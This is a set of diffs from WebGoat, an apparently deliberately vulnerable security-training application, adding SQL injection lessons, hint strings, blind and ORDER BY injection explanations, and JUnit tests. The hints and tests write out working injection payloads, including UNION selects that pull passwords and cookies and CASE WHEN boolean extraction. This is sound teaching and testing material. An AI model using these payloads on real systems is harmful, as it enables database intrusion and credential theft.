<div class="panel-heading">
<h3>List of servers
<div class="pull-right">
<button id="btn-admin" class="btn btn-default"><span
class="glyphicon glyphicon-pencil"></span> Edit
</button>
</div>
</h3>
</div>
<div id="toolbar-admin" class="panel-body">
<div class="btn-toolbar" role="toolbar" aria-label="admin">
<div class="btn-group pull-right" role="group">
<button id="btn-online" type="button" class="btn btn-success">Online</button>
<button id="btn-offline" type="button" class="btn btn-warning">Offline</button>
<button id="btn-out-of-order" type="button" class="btn btn-danger">Out Of Order
</button>
</div>
</div>
</div>
<table class="table table-striped table-hover">
<thead>
<tr>
<th class="col-check"></th>
<th></th>
<th>Hostname <span onclick="getServers('hostname')"><i
class="fa fa-fw fa-sort"></i></span>
</th>
<th>IP <span onclick="getServers('ip')"><i class="fa fa-fw fa-sort"></i></span></th>
<th>MAC <span onclick="getServers('mac')"><i class="fa fa-fw fa-sort"></i></span></th>
<th>Status <span onclick="getServers('status')"><i class="fa fa-fw fa-sort"></i></span>
</th>
<th>Description <span onclick="getServers('description')"><i
class="fa fa-fw fa-sort"></i></span>
</th>
</tr>
</thead>
<tbody id="servers">
</tbody>
</table>
</div>
</div>
<br/>
<br/>
</div>
</form>
<form class="attack-form" method="POST" name="form" action="SqlInjection/attack12a">
<div class="form-group">
<div class="input-group">
<div class="input-group-addon">IP address webgoat-prd server:</div>
<input type="text" class="form-control" id="ip" name="ip"
placeholder="192.1.0.12"/>
</div>
<div class="input-group" style="margin-top: 10px">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</div>
</form>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:SqlInjection_content13.adoc"></div>
</div>
</html>

View File

@ -1,12 +1,18 @@
#StringSqlInjection.java
StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query.
EnterLastName=Enter your last name:
NoResultsMatched=No results matched. Try Again.
NoResultsMatched=No results matched. Try Again.
SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command.
SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:<br><br> "SELECT * FROM user_data WHERE last_name = "accountName"
SqlStringInjectionHint3=Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. Try appending a SQL statement that always resolves to true
SqlStringInjectionHint4=Try entering [ smith' OR '1' = '1 ].
SqlStringInjectionHint5=First try to find out the number of columns by adding a group by 1,2,3 etc to the query.
SqlStringInjectionHint6=Try adding a union to the query, the number of columns should match.
SqlStringInjectionHint7=Try entering [ Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- ].
SqlStringInjectionHint8=Try sorting and look at the request
SqlStringInjectionHint9=Intercept the request and try to specify a different order by
SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
sql-injection.5a.success=You have succeed: {0}
sql-injection.5a.no.results=No results matched. Try Again.

View File

@ -0,0 +1,61 @@
$(function () {
$('.col-check').hide();
$('#btn-admin').on('click', function () {
if ($("#toolbar-admin").is(":visible")) {
$("#toolbar-admin").hide();
$(".col-check").hide();
}
else {
$("#toolbar-admin").show();
$(".col-check").show();
}
});
$('#btn-online').on('click', function () {
$('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('success');
$('table tr').filter(':has(:checkbox:checked)').find('td.status').text('online');
});
$('#btn-offline').on('click', function () {
$('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('warning');
$('table tr').filter(':has(:checkbox:checked)').find('td.status').text('offline');
});
$('#btn-out-of-order').on('click', function () {
$('table tr').filter(':has(:checkbox:checked)').find('td').parent().removeClass().addClass('danger');
$('table tr').filter(':has(:checkbox:checked)').find('td.status').text('out of order');
});
});
$(document).ready(function () {
getServers('id');
});
var html = '<tr class="STATUS">' +
'<td class="col-check"><input type="checkbox" class="form-check-input"/></td>' +
'<td>HOSTNAME</td>' +
'<td>IP</td>' +
'<td>MAC</td>' +
'<td class="status">ONLINE</td>' +
'<td>DESCRIPTION</td>' +
'</tr>';
function getServers(column) {
$.get("SqlInjection/servers?column=" + column, function (result, status) {
$("#servers").empty();
for (var i = 0; i < result.length; i++) {
var server = html.replace('ID', result[i].id);
var status = "success";
if (result[i].status === 'offline') {
status = "danger";
}
server = server.replace('ONLINE', status);
server = server.replace('STATUS', status);
server = server.replace('HOSTNAME', result[i].hostname);
server = server.replace('IP', result[i].ip);
server = server.replace('MAC', result[i].mac);
server = server.replace('DESCRIPTION', result[i].description);
$("#servers").append(server);
}
});
}

View File

@ -0,0 +1,18 @@
$(function() {
$('#login-form-link').click(function(e) {
$("#login-form").delay(100).fadeIn(100);
$("#register-form").fadeOut(100);
$('#register-form-link').removeClass('active');
$(this).addClass('active');
e.preventDefault();
});
$('#register-form-link').click(function(e) {
$("#register-form").delay(100).fadeIn(100);
$("#login-form").fadeOut(100);
$('#login-form-link').removeClass('active');
$(this).addClass('active');
e.preventDefault();
});
});

View File

@ -0,0 +1,8 @@
== Concept
This lesson describes the more advanced topics for an SQL injection.
== Goals
** Combining SQL Injection Techniques
** Blind SQL injection

View File

@ -0,0 +1,4 @@
We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all
the things we explained in the SQL lessons.
Have fun!

View File

@ -1,35 +1,28 @@
== Parameterized Queries Java Example
[source,java]
-------------------------------------------------------
// Parser returns only valid string data
String accountID = getParser().getStringParameter(ACCT_ID, "");
String data = null;
try
{
// Read only database connection
Statement connection = DatabaseUtilities.getConnection(READ_ONLY);
// Build a fully qualified query
String query = "SELECT first_name, last_name, acct_id, balance
FROM user_data WHERE acct_id = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, accountID);
ResultSet results = statement.executeQuery();
if ((results != null) && (results.first() == true))
{
// Only one record should be returned for this query
Results.last();
if (results.getRow() <= 2)
{
data = processAccount(results);
}
else { // Handle the error Database integrity issue }
}
else { // Handle the error no records found }
public static String loadAccount() {
// Parser returns only valid string data
String accountID = getParser().getStringParameter(ACCT_ID, "");
String data = null;
String query = "SELECT first_name, last_name, acct_id, balance FROM user_data WHERE acct_id = ?";
try (Connection connection = null;
PreparedStatement statement = connection.prepareStatement(query)) {
statement.setString(1, accountID);
ResultSet results = statement.executeQuery();
if (results != null && results.first()) {
results.last(); // Only one record should be returned for this query
if (results.getRow() <= 2) {
data = processAccount(results);
} else {
// Handle the error Database integrity issue
}
} else {
// Handle the error no records found }
}
} catch (SQLException sqle) {
// Log and handle the SQL Exception }
}
return data;
}
catch (SQLException sqle) { // Log and handle the SQL Exception }
catch (Exception e) { // Log and handle the Exception }
finally { // Always close connection in finally block
DatabaseUtilities.closeConnection();
}
return data;
-------------------------------------------------------

View File

@ -0,0 +1,48 @@
== Order by clause
Question: Does a preparared statement always prevent against an SQL injection?
Answer: No it does not
Let's take a look at the following statement:
----
select * from users order by lastname;
----
If we look at the specification of the SQL grammar the definition is as follows:
----
SELECT ...
FROM tableList
[WHERE Expression]
[ORDER BY orderExpression [, ...]]
orderExpression:
{ columnNr | columnAlias | selectExpression }
[ASC | DESC]
selectExpression:
{ Expression | COUNT(*) | {
COUNT | MIN | MAX | SUM | AVG | SOME | EVERY |
VAR_POP | VAR_SAMP | STDDEV_POP | STDDEV_SAMP
} ([ALL | DISTINCT][2]] Expression) } [[AS] label]
Based on HSQLDB
----
This means an `orderExpression` van be a `selectExpression` which can be a function as well, so for example with
a `case` statement we might be able to ask the database some questions, like:
----
select * from users order by
(select case when (true) then lastname else firstname)
----
So we can substitute any kind of boolean operation in the `when(....)` part. The statement will just work because
it is a valid query whether you use a prepared statement or not an order by clause can by definition contain a
expression.
=== Mitigation
If you need to provide a sorting column in your web application you should implement a whitelist to validate the value
of the `order by` statement it should always be limited to something like 'firstname' or 'lastname'.

View File

@ -0,0 +1,59 @@
== Blind SQL Injection
Blind SQL injection is a type of SQL injection attack that asks the database true or false
questions and determines the answer based on the applications response. This attack is often used when the web
application is configured to show generic error messages, but has not mitigated the code that is vulnerable to SQL
injection.
=== Difference
Let's first start with the difference between a normal SQL injection and a blind SQL injection. In a normal
SQL injection the error messages from the database are displayed and gives enough information to find out how
the query is working. Or in the case of an union based SQL injection the application does not reflect the information
directly on the webpage. So in the case where nothing is displayed you will need to start asking the database questions
based on a true or false statement. That's why a blind SQL injection is much more difficult to exploit.
There are several different types of blind SQL injections: content based and time based SQL injections.
=== Example
In this case we are trying to ask the database a boolean question based on for example a unique id, for example
suppose we have the following url: `https://my-shop.com?article=4`
On the server side this query will be translated as follows:
----
SELECT * from articles where article_id = 4
----
When we want to exploit this we change the url into: `https://my-shop.com?article=4 AND 1=1`
This will be translated to:
----
SELECT * from articles where article_id = 4 AND 1 = 1
----
If the browser will return the same page as it used to when using `https://my-shop.com?article=4` you know the
website is vulnerable for a blind SQL injection.
If the browser responds with a page not found or something else you know a blind SQL injection might not work.
You can now change the SQL query and test for example: `https://my-shop.com?article=4 AND 1=2` which will not return
anything because the query returns false.
So but how do we actually take advantage of this? Above we only asked the database for trivial question but you can
for example also use the following url: `https://my-shop.com?article=4 AND substring(database_version(),1,1) = 2`
Most of the time you start by finding which type of database is used, based on the type of database you can find
the system tables of the database you can enumerate all the tables present in the database. With this information
you can start getting information from all the tables and you are able to dump the database.
Be aware that this approach might not work if the privileges of the database are setup correctly (meaning the
system tables cannot be queried with the user used to connect from the web application to the database).
Another way is called a time based SQL injection, in this case you will ask the database to wait before returning
the result. You might need to use this if you are totally blind so there is no difference between the response you
can use for example:
----
article = 4; sleep(10) --
----

View File

@ -0,0 +1,4 @@
In this assignment try to perform an SQL injection through the ORDER BY field.
Try to find the ip address of the `webgoat-prd` server.
Note: The submit field of this assignment is *NOT* vulnerable for an SQL injection.

View File

@ -9,5 +9,4 @@ This lesson describes what is Structured Query Language (SQL) and how it can be
* The user will demonstrate knowledge on:
** String SQL Injection
** Numeric SQL Injection
** Combining SQL Injection Techniques

View File

@ -0,0 +1,81 @@
package org.owasp.webgoat.plugin.introduction;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 5/21/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson5aTest extends LessonTest {
@Autowired
private WebgoatContext context;
@Before
public void setup() throws Exception {
SqlInjection sql = new SqlInjection();
when(webSession.getCurrentLesson()).thenReturn(sql);
when(webSession.getWebgoatContext()).thenReturn(context);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void knownAccountShouldDisplayData() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "Smith"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", containsString("<p>USERID, FIRST_NAME")));
}
@Test
public void unknownAccount() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "Smithh"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("NoResultsMatched"))))
.andExpect(jsonPath("$.output").doesNotExist());
}
@Test
public void sqlInjection() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "smith' OR '1' = '1"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("You have succeed")))
.andExpect(jsonPath("$.output").doesNotExist());
}
@Test
public void sqlInjectionWrongShouldDisplayError() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack5a")
.param("account", "smith' OR '1' = '1'"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", containsString(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", is("malformed string: '1''")));
}
}

View File

@ -0,0 +1,81 @@
package org.owasp.webgoat.plugin.introduction;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 6/15/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson6aTest extends LessonTest {
@Before
public void setup() throws Exception {
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void wrongSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "John"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
@Test
public void wrongNumberOfColumns() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' union select userid,user_name, password,cookie from user_system_data --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", is("column number mismatch detected in rows of UNION, INTERSECT, EXCEPT, or VALUES operation")));
}
@Test
public void wrongDataTypeOfColumns() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' union select 1,password, 1,'2','3', '4',1 from user_system_data --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.output", containsString("incompatible data types in combination")));
}
@Test
public void correctSolution() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' union select 1,password, '1','2','3', '4',1 from user_system_data --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)))
.andExpect(jsonPath("$.feedback", containsString("dave")));
}
@Test
public void noResultsReturned() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6a")
.param("userid_6a", "Smith' and 1 = 2 --"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)))
.andExpect(jsonPath("$.feedback", is(messages.getMessage("sql-injection.6a.no.results"))));
}
}

View File

@ -0,0 +1,46 @@
package org.owasp.webgoat.plugin.introduction;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**a
* @author nbaars
* @since 6/16/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson6bTest extends LessonTest {
@Before
public void setup() throws Exception {
when(webSession.getCurrentLesson()).thenReturn(new SqlInjection());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void submitCorrectPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
.param("userid_6b", "dave"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void submitWrongPassword() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack6b")
.param("userid_6b", "John"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

View File

@ -0,0 +1,96 @@
package org.owasp.webgoat.plugin.mitigation;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugin.introduction.SqlInjection;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 5/21/17.
*/
@RunWith(SpringJUnit4ClassRunner.class)
public class SqlInjectionLesson12aTest extends LessonTest {
@Autowired
private WebgoatContext context;
@Before
public void setup() throws Exception {
SqlInjection sql = new SqlInjection();
when(webSession.getCurrentLesson()).thenReturn(sql);
when(webSession.getWebgoatContext()).thenReturn(context);
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void knownAccountShouldDisplayData() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "id"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk());
}
@Test
public void trueShouldSortByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "(case when (true) then hostname else id end)"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void falseShouldSortById() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "(case when (true) then hostname else id end)"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void passwordIncorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '192.%' THEN hostname ELSE id END"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-dev")));
}
@Test
public void passwordCorrectShouldOrderByHostname() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/SqlInjection/servers")
.param("column", "CASE WHEN (SELECT ip FROM servers WHERE hostname='webgoat-prd') LIKE '104.%' THEN hostname ELSE id END"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$[0].hostname", is("webgoat-acc")));
}
@Test
public void postingCorrectAnswerShouldPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
.param("ip", "104.130.219.202"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
public void postingWrongAnswerShouldNotPassTheLesson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/SqlInjection/attack12a")
.param("ip", "192.168.219.202"))
.andDo(MockMvcResultHandlers.print())
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
}
}

Binary file not shown.

View File

@ -0,0 +1,55 @@
##### To include lesson template in build #####
1. edit theh webgoat-server/pom.xml file and uncomment the section under ...
<!--uncommment below to run/include lesson template in WebGoat Build-->
2. Also uncomment in webgoat-lessons/pom.xml where it says ...
<!-- uncomment below to include lesson template in build, also uncomment the dependency in webgoat-server/pom.xml-->
##### To add a lesson to WebGoat #####
There are a number of moving parts and this sample lesson will help you navigate those parts. Most of your work will be done in two directories. To start though, you can copy this directory with the name of your-lesson in the webgoat-lessons directory.
0. The POM file
a. change the ...
<artifactId>webgoat-lesson-template</artifactId>
... line to give your lesson its own artifactId.That should be all you need to do there
1. The Base Class ...
In webgoat-lessons/{your-lesson}/src/main/java, refactor the LessonTemplate.java class, changing ...
a. the category in which you want your lesson to be in. You can create a new category if you want, or put in an issue to have one added
b. The 'defaultRanking' will move your lesson up or down in the categories list
c. implement a new key name pair "lesson-template.title" (the key) and update the same key/value pair (your.key=your value) in src/main/resources/i18n/WebGoatLabels.properties
d. Implement a new value for the getId method, which leads us to ...
2. The HTML content framing ...
a. Rename the provided file in src/main/resources/html using your value from the getId method in your lesson's base class (e.g. public String getId() { return "your-lesson"; } >> "your-lesson.html")
b. Modify that file following the commented instructions in there
c. In conjunction with this file you
3. Assignment Endpoints
a. In the above html file, you will see an example of an 'attack form'. You can create endpoints to handle these attacks and provide the user feedback and simulated output. See the example file here as well as other existing lessons for ways to extend these. You will extend the AssignmentEndpoint as the example will show
b. You can also create supporting (non-assignment) endpoints, that are not evaluated/graded.
c. See other lesson examples for creating unit/integration tests for your project as well
4. Getting your lesson to show up
a. modify the webgoat-lessons/pom.xml to include your project in the <modules> section
<modules>
<!-- ... -->
<module>webgoat-lesson-template</module>
<!-- ... -->
</modules>
b. modify the webgoat-server/pom.xml to add your project as a dependency in the <dependencies> section ...
<dependencies>
<!-- .... >
<dependency>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>your-artfifact-id-here</artifactId>
<version>${project.version}</version>
</dependency>
<!-- .... >
<dependencies>
5. You should be ready to run and test your project. Please create issues at https://github.com/WebGoat/WebGoat if there errors or confusion with this documentation/template

View File

@ -0,0 +1,12 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<artifactId>webgoat-lesson-template</artifactId>
<packaging>jar</packaging>
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>8.0-SNAPSHOT</version>
</parent>
</project>

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,65 @@
package org.owasp.webgoat.plugin;
import com.beust.jcommander.internal.Lists;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.NewLesson;
import java.util.List;
/**
* ************************************************************************************************
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
* <p>
* Copyright (c) 2002 - 20014 Bruce Mayhew
* <p>
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
* <p>
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
* <p>
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
* <p>
* Getting Source ==============
* <p>
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
* projects.
* <p>
*
* @author misfir3
* @version $Id: $Id
* @since January 3, 2017
*/
public class LessonTemplate extends NewLesson {
@Override
public Category getDefaultCategory() {
return Category.GENERAL;
}
@Override
public List<String> getHints() {
return Lists.newArrayList();
}
@Override
public Integer getDefaultRanking() {
return 30;
}
@Override
public String getTitle() {
return "lesson-template.title";
}
@Override
public String getId() {
return "LessonTemplate";
}
}

View File

@ -0,0 +1,62 @@
package org.owasp.webgoat.plugin;
import com.google.common.collect.Lists;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* Created by jason on 1/5/17.
*/
@AssignmentPath("/lesson-template/sample-attack")
public class SampleAttack extends AssignmentEndpoint {
String secretValue = "secr37Value";
//UserSessionData is bound to session and can be used to persist data across multiple assignments
@Autowired
UserSessionData userSessionData;
@GetMapping(produces = {"application/json"})
public @ResponseBody
AttackResult completed(String param1, String param2, HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (userSessionData.getValue("some-value") != null) {
// do any session updating you want here ... or not, just comment/example here
//return trackProgress(failed().feedback("lesson-template.sample-attack.failure-2").build());
}
//overly simple example for success. See other existing lesssons for ways to detect 'success' or 'failure'
if (secretValue.equals(param1)) {
return trackProgress(success()
.output("Custom Output ...if you want, for success")
.feedback("lesson-template.sample-attack.success")
.build());
//lesson-template.sample-attack.success is defined in src/main/resources/i18n/WebGoatLabels.properties
}
// else
return trackProgress(failed()
.feedback("lesson-template.sample-attack.failure-2")
.output("Custom output for this failure scenario, usually html that will get rendered directly ... yes, you can self-xss if you want")
.build());
}
}

View File

@ -0,0 +1,54 @@
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which go in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:lesson-template-intro.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse the above lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here, or can be placed in another location. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:lesson-template-video.adoc"></div>
<!-- can use multiple adoc's in a page-wrapper if you want ... or not-->
<div class="adoc-content" th:replace="doc:lesson-template-attack.adoc"></div>
<!-- WebGoat will automatically style and scaffold some functionality by using the div.attack-container as below -->
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<!-- using attack-form class on your form, will allow your request to be ajaxified and stay within the display framework for webgoat -->
<!-- you can write your own custom forms, but standard form submission will take you to your endpoint and outside of the WebGoat framework -->
<!-- of course, you can write your own ajax submission /handling in your own javascript if you like -->
<!-- modify the action to point to the intended endpoint and set other attributes as desired -->
<script th:src="@{/lesson_js/idor.js}" />
<form class="attack-form" accept-charset="UNKNOWN"
method="GET" name="form"
action="/WebGoat/lesson-template/sample-attack"
enctype="application/json;charset=UTF-8">
<table>
<tr>
<td>two random params</td>
<td>parameter 1:<input name="param1" value="" type="TEXT" /></td>
<td>parameter 2:<input name="param2" value="" type="TEXT" /></td>
<td>
<input
name="submit" value="Submit" type="SUBMIT"/>
</td>
</tr>
</table>
</form>
<!-- do not remove the two following div's, this is where your feedback/output will land -->
<!-- the attack response will include a 'feedback' and that will automatically go here -->
<div class="attack-feedback"></div>
<!-- output is intended to be a simulation of what the screen would display in an attack -->
<div class="attack-output"></div>
</div>
</div>
<!-- repeat and mix-and-match the lesson-page-wrappers with or wihtout the attack-containers as you like ...
see other lessons for other more complex examples -->
</html>

View File

@ -0,0 +1,7 @@
lesson-template.title=Lesson Template
lesson-template.sample-attack.failure-1=Sample failure message
lesson-template.sample-attack.failure-2=Sample failure message 2
lesson-template.sample-attack.success=Sample success message

Binary file not shown.

After

Width:  |  Height:  |  Size: 200 KiB

View File

@ -0,0 +1,18 @@
// need custom js for this?
webgoat.customjs.idorViewProfile = function(data) {
webgoat.customjs.jquery('#idor-profile').html(
'name:' + data.name + '<br/>'+
'color:' + data.color + '<br/>'+
'size:' + data.size + '<br/>'
);
}
var onViewProfile = function () {
console.warn("on view profile activated")
webgoat.customjs.jquery.ajax({
method: "GET",
url: "/WebGoat/IDOR/profile",
contentType: 'application/json; charset=UTF-8'
}).then(webgoat.customjs.idorViewProfile);
}

View File

@ -0,0 +1,3 @@
=== Attack Explanation
Explanation of attack here ... Instructions etc.

View File

@ -0,0 +1,19 @@
== Lesson Template Intro
This is the lesson template intro.
=== Sub-heading
Check asciidoc for syntax, but more = means smaller headings. You can *bold* text and other things.
=== Structuring files
You should set up all content so that it is these *.adoc files.
